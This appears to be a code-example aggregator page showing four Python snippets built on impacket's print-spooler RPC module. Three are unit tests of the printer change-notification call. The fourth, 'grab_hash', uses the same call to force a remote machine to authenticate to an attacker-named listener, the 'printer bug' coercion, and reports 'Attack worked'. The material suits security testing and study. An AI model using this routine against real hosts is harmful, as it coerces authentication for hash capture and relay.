예제 #1
0
파일: test_rprn.py 프로젝트: zpaav/impacket
    def test_hRpcRemoteFindFirstPrinterChangeNotificationEx(self):
        dce, rpctransport = self.connect()

        resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % self.machine)

        with assertRaisesRegex(self, rprn.DCERPCSessionError,
                               "ERROR_INVALID_HANDLE"):
            rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
                dce,
                resp['pHandle'],
                rprn.PRINTER_CHANGE_ADD_JOB,
                pszLocalMachine="\\\\%s\x00" % self.machine)
예제 #2
0
    def test_hRpcRemoteFindFirstPrinterChangeNotificationEx(self):
        dce, rpctransport = self.connect()

        resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % self.machine)

        try:
            resp = rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, resp['pHandle'], rprn.PRINTER_CHANGE_ADD_JOB, pszLocalMachine = '\\\\%s\x00' % self.machine )
            resp.dump()
        except Exception as e:
            if str(e).find('ERROR_INVALID_HANDLE') < 0:
                raise
예제 #3
0
    def test_hRpcRemoteFindFirstPrinterChangeNotificationEx(self):
        dce, rpctransport = self.connect()

        resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % self.machine)

        try:
            resp = rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, resp['pHandle'], rprn.PRINTER_CHANGE_ADD_JOB, pszLocalMachine = '\\\\%s\x00' % self.machine )
            resp.dump()
        except Exception as e:
            if str(e).find('ERROR_INVALID_HANDLE') < 0:
                raise
예제 #4
0
def grab_hash(dce, handle, listener):
    global debug
    logging.info("sending RFFPCNEX...")
    try:
        resp = rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
            dce,
            handle,
            rprn.PRINTER_CHANGE_ADD_JOB,
            pszLocalMachine='\\\\%s\x00' % listener)
        if debug is True:
            logging.info("raw response: ")
            resp.dump()
    except Exception as e:
        if str(e).find('RPC_S_SERVER_UNAVAILABLE') >= 0:
            logging.info(
                'Got expected RPC_S_SERVER_UNAVAILABLE exception. Attack worked'
            )
            pass
        else:
            logging.error("exception %s" % str(e))